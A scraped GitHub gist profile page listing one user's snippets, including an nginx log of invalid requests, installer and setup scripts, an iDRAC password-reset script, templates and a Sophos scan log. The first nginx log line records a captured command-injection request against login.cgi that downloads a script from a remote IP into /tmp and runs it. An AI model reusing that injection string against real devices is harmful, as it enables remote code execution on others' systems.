Skip to content

Instantly share code, notes, and snippets.

View jcanfield's full-sized avatar
💭
If I do not respond quickly, try me on Twitter at @creativeboulder.

Joshua Canfield jcanfield

💭
If I do not respond quickly, try me on Twitter at @creativeboulder.
View GitHub Profile
@jcanfield
jcanfield / nginx.log
Created June 18, 2018 22:54
Invalid Nginx requests
189.28.166.4 - - [18/Jun/2018:11:29:31 -0600] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1" 404 134 "-" "Hello, World"
default 03:02:52.883566 -0600 SpecOps - The Line LSExceptions shared instance invalidated for timeout.
default 03:03:04.351458 -0600 launchservicesd CHECKIN:0x0-0x864864 67945 com.digitaltribe.specops
default 03:03:04.361801 -0600 SpecOps - The Line /BuildRoot/Library/Caches/com.apple.xbs/Sources/AppleFSCompression/AppleFSCompression-96.30.2/Common/ChunkCompression.cpp:50: Error: unsupported compressor 8
default 03:03:04.361855 -0600 SpecOps - The Line /BuildRoot/Library/Caches/com.apple.xbs/Sources/AppleFSCompression/AppleFSCompression-96.30.2/Libraries/CompressData/CompressData.c:353: Error: Unknown compression scheme encountered for file '/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/Exceptions.plist'
default 03:03:04.363574 -0600 SpecOps - The Line /BuildRoot/Library/Caches/com.apple.xbs/Sources/AppleFSCompression/AppleFSCompression-96.30.2/Common/ChunkCompression.cpp:50: Error: unsupported compressor 8
default 03:03:04.363624 -0600 SpecOps - The Line /BuildRoot/Library/Caches/com.apple
@jcanfield
jcanfield / atomicinstall.sh
Created March 7, 2018 10:49 — forked from jknight2014/atomicinstall.sh
Installer for the Atomic Toolkit by HTPC Beginner
#/bin/bash
#The one step installer for the AtoMiC-ToolKit
#Written by KnightCinema.com
touch /var/log/atomic-install.log
echo "Updating APT ..."
apt-get -y update > /var/log/atomic-install.log
echo "Installing Prerequsits"
apt-get -y install git-core nano python-software-properties dialog > /var/log/atomic-install.log
dialog --title "The AtoMiC Tool Kit installer" --yesno "This will install the AtomMiC toolkit as well as some prerequsits. Please be aware this software is provided with no warranties. Proceed at your own risk. Would you like to continue?" 8 100
# Cloaning into the OPT folder for organization.
@jcanfield
jcanfield / html-head-boilerplate.html
Created January 16, 2018 02:50 — forked from nunosans/html-head-boilerplate.html
HTML Head Boilerplate & Reference
<!doctype html>
<html>
<head>
<!-- Priority tags. These must come first. -->
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge; chrome=1"> <!-- Render Chrome if available or using latest version of Internet Explorer (Recommended). -->
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
<!-- Document Title -->
<title>Page Title</title>
<!-- Allows control over where resources are loaded from. Place as early in the document as possible, only applies to content below this tag. -->
@jcanfield
jcanfield / racadm-reset-pwd.sh
Last active August 21, 2023 15:33
Reset Password for integrated Dell remote access controller (iDRAC6)
#!/bin/bash
## Synopsis
# Reset the primary password on Dell PowerEdge or any device using iDRAC6
## Usage
# sudo ./racadm-reset-pwd.sh YOURPASS
## NOTE
# Resource- http://www.remotecto.net/2010/10/19/changing-a-drac-password-on-the-command-line-with-racadm/
sudo racadm config -g cfgUserAdmin -o cfgUserAdminPassword -i 2 $1
echo "Plase take note of your password"
@jcanfield
jcanfield / README.md
Created December 27, 2017 04:46 — forked from jxson/README.md
README.md template

Synopsis

At the top of the file there should be a short introduction and/ or overview that explains what the project is. This description should match descriptions added for package managers (Gemspec, package.json, etc.)

Code Example

Show what the library does as concisely as possible, developers should be able to figure out how your project solves their problem by looking at the code example. Make sure the API you are showing off is obvious, and that your code is short and concise.

Motivation

@jcanfield
jcanfield / new-macos-setup.sh
Created November 25, 2017 02:35 — forked from intfrr/new-macos-setup.sh
Things to setup/install on a new macOS
#!/bin/bash
# change default shell to zsh (asks for password)
chsh -s /bin/zsh
# install xcode command line tools
xcode-select --install
# download my custom .zshrc
curl https://gist.githubusercontent.com/simonhaenisch/382eab0cfa3435dad7e177a49fe198fc/raw/.zshrc > ~/.zshrc
@jcanfield
jcanfield / .bash_profile
Created November 25, 2017 02:33 — forked from stephenll/.bash_profile
.bash_profile file on Mac OS X
# ---------------------------------------------------------------------------
#
# Description: This file holds all my BASH configurations and aliases.
# Much of this was originally copied from:
# http://natelandau.com/my-mac-osx-bash_profile/
#
# Sections:
# 1. Environment Configuration
# 2. Make Terminal Better (remapping defaults and adding functionality)
# 3. File and Folder Management
color_0 = ffff ffff ffff
color_1 = 4949 4848 3e3e
color_2 = 6666 d9d9 efef
color_3 = 6b6b c7c7 2b2b
color_4 = fdfd 9797 1f1f
color_5 = f9f9 2626 7272
color_6 = 94bc 5925 ffff
color_7 = 7575 7171 5e5e
color_8 = e6e6 dbdb 7474
color_9 = a6a6 e2e2 2e2e
@jcanfield
jcanfield / sweep-20170617.log
Created June 16, 2017 19:21
Sophos CLI `sweep` on MacOS Sierra (Segmentation fault: 11)
$ sudo sweep -di -dn /
Password:
Sophos Anti-Virus
Version 9.6.1 [Darwin/AMD64]
Virus data version 5.40, May 2017
Includes detection for 13427651 viruses, trojans and worms
Copyright (c) 1989-2017 Sophos Limited. All rights reserved.
System time 13:08:55, System date 16 June 2017
Command line qualifiers are: -di -dn